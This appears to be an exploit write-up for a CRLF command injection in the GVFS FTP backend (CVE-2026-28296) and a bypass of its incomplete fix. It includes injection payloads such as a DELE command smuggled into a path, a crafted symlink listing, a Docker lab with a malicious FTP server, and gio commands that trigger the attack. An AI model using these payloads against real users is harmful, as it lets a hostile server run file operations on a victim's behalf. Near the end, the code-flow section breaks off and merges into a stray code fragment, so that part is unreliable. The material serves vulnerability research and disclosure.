Share
## https://sploitus.com/exploit?id=BFEC08C8-165D-5B38-A6AC-05739800943B
# CVE-2026-28296 - GVFS FTP Backend CRLF Command Injection
> **Exploit Intelligence Platform** | [exploit-intel.com](https://exploit-intel.com) | [@exploit_intel](https://x.com/exploit_intel) | dev@exploit-intel.com
## Vulnerability Summary
| Field | Value |
|-------------|------------------------------------------------------|
| CVE | CVE-2026-28296 |
| Component | GVFS (GNOME Virtual File System) - FTP backend |
| Type | CWE-93: CRLF Injection |
| CVSS | 4.3 (Medium) - initial assessment |
| Fix Commit | `21dda190` (gvfs upstream) - **INCOMPLETE** |
| Affected | All GVFS versions including HEAD (1.59.2) |
| Author | Exploit Intelligence Platform (dev@exploit-intel.com)|
| Date | 2026-02-26 |
## Vulnerability Details
The FTP backend in GVFS does not validate file paths for carriage return (`\r`)
and line feed (`\n`) characters before embedding them in FTP commands. Since FTP
commands are terminated by `\r\n`, embedded CR/LF characters in paths effectively
inject additional FTP commands that the server processes independently.
### Original Vector (User-Supplied Paths)
When a user or application accesses an FTP URI containing CRLF sequences
(`%0d%0a`) in the path component, those sequences pass through:
1. `g_vfs_ftp_file_new_from_gvfs()` - creates an FTP file object (no validation)
2. `g_vfs_ftp_task_sendv()` - formats the FTP command via `g_string_append_vprintf()`
3. `g_vfs_ftp_connection_send()` - sends the raw bytes to the FTP server
**Example:** Accessing `ftp://server/file\r\nDELE /important` produces:
```
RETR /file\r\n
DELE /important\r\n
```
The server executes both commands.
### Fix (Commit 21dda190) - Incomplete
The fix adds CRLF validation in `g_vfs_ftp_file_new_from_gvfs()`:
```c
if (strpbrk (gvfs_path, "\r\n") != NULL)
{
g_set_error_literal (error,
G_IO_ERROR, G_IO_ERROR_INVALID_FILENAME,
_("Filename contains invalid characters."));
return NULL;
}
```
This blocks direct CRLF injection via user-supplied URIs. However, the fix
**only validates `g_vfs_ftp_file_new_from_gvfs()`** (user-supplied paths).
### Fix Bypass (Server-Supplied Paths)
`g_vfs_ftp_file_new_from_ftp()` (server-supplied paths) has **NO validation**:
```c
// gvfsftpfile.c:112 - NO CR/LF check!
GVfsFtpFile *
g_vfs_ftp_file_new_from_ftp (GVfsBackendFtp *ftp, const char *ftp_path)
{
file = g_slice_new (GVfsFtpFile);
file->ftp_path = g_strdup (ftp_path); // tainted path passes through
file->gvfs_path = g_vfs_ftp_file_compute_gvfs_path (ftp_path);
return file;
}
```
**Attack vector:** A malicious FTP server embeds `\r` in symlink targets
returned in LIST responses:
```
lrwxrwxrwx 1 user user 22 Jan 1 00:00 evillink -> /tmp\rSTAT\r
```
When GVFS parses this listing (`gvfsftpdircache.c:660-670`):
1. `g_data_input_stream_read_line()` reads up to `\n`
2. Line 670 strips the trailing `\r` (the one before `\n`)
3. `ParseFTPList` extracts the symlink target: `/tmp\rSTAT` (embedded `\r` survives)
4. `g_vfs_ftp_dir_cache_funcs_resolve_default()` (line 850) calls
`g_vfs_ftp_file_new_from_ftp(backend, "/tmp\rSTAT")` - **NO validation**
5. When GVFS probes the resolved path: `CWD /tmp\rSTAT\r\n`
6. Server sees two commands: `CWD /tmp` + `STAT`
## Impact Analysis
### Injectable Command Sites
All 11 sites use `g_vfs_ftp_file_get_ftp_path()` to embed the tainted path
into FTP commands via `g_vfs_ftp_task_send()`:
| Location | FTP Command | Operation |
|-----------------------------|-------------|---------------------|
| `gvfsftpdircache.c:512` | `CWD %s` | Directory probe |
| `gvfsftpdircache.c:531` | `SIZE %s` | File size query |
| `gvfsbackendftp.c:674` | `RETR %s` | Read file |
| `gvfsbackendftp.c:746` | `STOR %s` | Write file |
| `gvfsbackendftp.c:777` | `APPE %s` | Append file |
| `gvfsbackendftp.c:830` | `CWD %s` | set_display_name |
| `gvfsbackendftp.c:840` | `RNFR %s` | Rename source |
| `gvfsbackendftp.c:857` | `RNTO %s` | Rename target |
| `gvfsbackendftp.c:894` | `DELE %s` | Delete file |
| `gvfsbackendftp.c:897` | `RMD %s` | Remove directory |
| `gvfsbackendftp.c:929` | `MKD %s` | Create directory |
### Attack Scenarios
1. **Malicious FTP Server**: Attacker operates an FTP server with crafted
directory listings. When a victim connects (e.g., clicks an `ftp://` link),
their file manager automatically lists directories and resolves symlinks,
triggering the injection.
2. **Compromised FTP Server**: Attacker gains write access to a legitimate
FTP server and creates symlinks with tainted targets. Any GVFS user
browsing that directory triggers the injection.
3. **MITM Attack**: Attacker intercepts FTP traffic (unencrypted by design)
and modifies LIST responses to include tainted symlink entries.
### Trigger Conditions
- **No user interaction** beyond connecting to the malicious server
- Triggered automatically by file managers (Nautilus) when browsing directories
- Triggered by `gio list`, `gio info`, or any GVFS operation that lists directories
- Works on both vulnerable (pre-fix) AND patched (post-fix) GVFS versions
### Comparison: Vulnerable vs Patched
| Attack Vector | Vulnerable (1.54.2) | Patched (HEAD/1.59.2) |
|----------------------------|---------------------|-----------------------|
| Direct CRLF in URI | VULNERABLE | **BLOCKED** |
| Symlink target (from LIST) | VULNERABLE | **VULNERABLE** |
## Lab Setup
### Architecture
```
βββββββββββββββββββββββ βββββββββββββββββββββββ
β ftpserver β β malicious-ftpserverβ
β 172.28.0.10 β β 172.28.0.11 β
β β β β
β - vsftpd (normal) β β - Custom Python FTP β
β - ftpuser/ftpuser β β - Crafted LIST with β
β - Port 21 (ext 2121)β β tainted symlinks β
β - For original PoC β β - Port 21 (ext 2122)β
ββββββββββββ¬ββββββββββββ ββββββββββββ¬ββββββββββββ
β β
ββββββββΌβββββββββββββββββββββββββββββββββΌββββ 172.28.0.0/24
β β
ββββββββββββ΄ββββββββββββ ββββββββββββ΄ββββββββββββ
β gvfs-client β β gvfs-patched β
β 172.28.0.20 β β 172.28.0.21 β
β β β β
β - GVFS 1.54.2 β β - GVFS HEAD (1.59.2) β
β (pre-fix, bookworm) β β (with fix, trixie) β
β - Both PoC scripts β β - Both PoC scripts β
β - For original PoC β β - For bypass demo β
βββββββββββββββββββββββββ βββββββββββββββββββββββββ
```
### Quick Start
```bash
cd CVE-2026-28296
# Build all 4 containers
docker compose build
# Start the lab
docker compose up -d
# === Original PoC (direct CRLF injection) ===
# Works on vulnerable client, blocked on patched client
docker exec -it cve-2026-28296-gvfs-client python3 /poc/poc_crlf_injection.py
# === Fix Bypass PoC (server-supplied symlink targets) ===
# On vulnerable client (both vectors work):
docker exec -it cve-2026-28296-gvfs-client python3 /poc/poc_bypass_fix.py
# On patched client (direct CRLF blocked, symlink bypass works):
docker exec -it cve-2026-28296-gvfs-patched python3 /poc/poc_bypass_fix.py
# Watch malicious server logs (see injected commands arrive):
docker logs -f cve-2026-28296-malicious-ftpserver
```
### Manual Testing
```bash
# From gvfs-client container (vulnerable):
# 1. Normal FTP access via GVFS
dbus-run-session gio cat ftp://ftpuser:ftpuser@ftpserver/home/ftpuser/public/readme.txt
# 2. Direct CRLF injection (original vulnerability)
dbus-run-session gio cat "ftp://ftpuser:ftpuser@ftpserver/home/ftpuser/public/readme.txt%0d%0aSTAT"
# 3. Browse malicious server (triggers symlink resolution bypass)
dbus-run-session gio list ftp://ftpuser:ftpuser@malicious-ftpserver/pub/
# 4. Monitor with tcpdump
tcpdump -i eth0 -A port 21
```
```bash
# From gvfs-patched container:
# 1. Direct CRLF injection is BLOCKED
dbus-run-session gio cat "ftp://ftpuser:ftpuser@ftpserver/home/ftpuser/public/readme.txt%0d%0aSTAT"
# Expected: "Filename contains invalid characters."
# 2. Symlink bypass STILL WORKS
dbus-run-session gio list ftp://ftpuser:ftpuser@malicious-ftpserver/pub/
# Expected: GVFS resolves the symlink with tainted target, injecting commands
```
### Cleanup
```bash
docker compose down -v
```
## Technical Details
### Code Flow: Symlink Resolution Bypass
```
User: gio list ftp://malicious-ftpserver/pub/
β
βΌ
g_vfs_ftp_dir_cache_lookup_dir()
β Opens data connection, sends LIST /pub/
β
βΌ
Malicious server responds with LIST data:
-rw-r--r-- 1 user user 22 Jan 1 00:00 readme.txt\r\n
lrwxrwxrwx 1 user user 22 Jan 1 00:00 evillink -> /tmp\rSTAT\r\n
β
βΌ
g_vfs_ftp_dir_cache_funcs_process() (gvfsftpdircache.c:660-790)
β g_data_input_stream_read_line() reads until \n
β Strips trailing \r (line 670)
β ParseFTPList extracts: type='l', target="/tmp\rSTAT"
β g_file_info_set_symlink_target(info, "/tmp\rSTAT")
β
βΌ
g_vfs_ftp_dir_cache_funcs_resolve_default() (gvfsftpdircache.c:798-853)
β target = "/tmp\rSTAT"
β target[0] == '/' -> new_path = g_string_new(target)
β link = g_vfs_ftp_file_new_from_ftp(backend, "/tmp\rSTAT")
β ^^^ NO CR/LF VALIDATION
β
βΌ
Later: g_vfs_ftp_dir_cache_lookup_file() (gvfsftpdircache.c:500-548)
β g_vfs_ftp_task_send(task, 0, "CWD %s", file->ftp_path)
β -> g_vfs_ftp_task_sendv() builds: "CWD /tmp\rSTAT\r\n"
β -> g_vfs_ftp_connection_send() writes raw bytes to socket
β
βΌ
Server receives:
"CWD /tmp\r" ftp_path = g_strdup (ftp_path);
file->gvfs_path = g_vfs_ftp_file_compute_gvfs_path (ftp_path);
return file;
}
```
Additionally, `g_vfs_ftp_dir_cache_funcs_resolve_default()` at line 850
should handle a NULL return from `g_vfs_ftp_file_new_from_ftp()`.
## Files
| File | Description |
|---|---|
| `poc/poc_crlf_injection.py` | Original PoC - direct CRLF injection via URI |
| `poc/poc_bypass_fix.py` | Fix bypass PoC - server-supplied symlink targets |
| `malicious_ftpserver.py` | Custom FTP server with crafted LIST responses |
| `Dockerfile.ftpserver` | vsftpd container (normal FTP server) |
| `Dockerfile.malicious-ftpserver` | Malicious FTP server container |
| `Dockerfile.gvfs-client` | Vulnerable GVFS 1.54.2 (bookworm) |
| `Dockerfile.gvfs-patched` | Patched GVFS HEAD/1.59.2 (trixie) |
| `docker-compose.yml` | Full lab with 4 containers |
## References
- [GVFS upstream issue #833](https://gitlab.gnome.org/GNOME/gvfs/-/issues/833)
- [Fix commit 21dda190](https://gitlab.gnome.org/GNOME/gvfs/-/commit/21dda190) (incomplete)
- [Fix MR !298](https://gitlab.gnome.org/GNOME/gvfs/-/merge_requests/298)
- [GVFS source - gvfsftpfile.c](https://gitlab.gnome.org/GNOME/gvfs/-/blob/master/daemon/gvfsftpfile.c)
- [GVFS source - gvfsftpdircache.c](https://gitlab.gnome.org/GNOME/gvfs/-/blob/master/daemon/gvfsftpdircache.c)
- [CVE-2026-28296 on Exploit Intelligence Platform](https://exploit-intel.com/cves/CVE-2026-28296)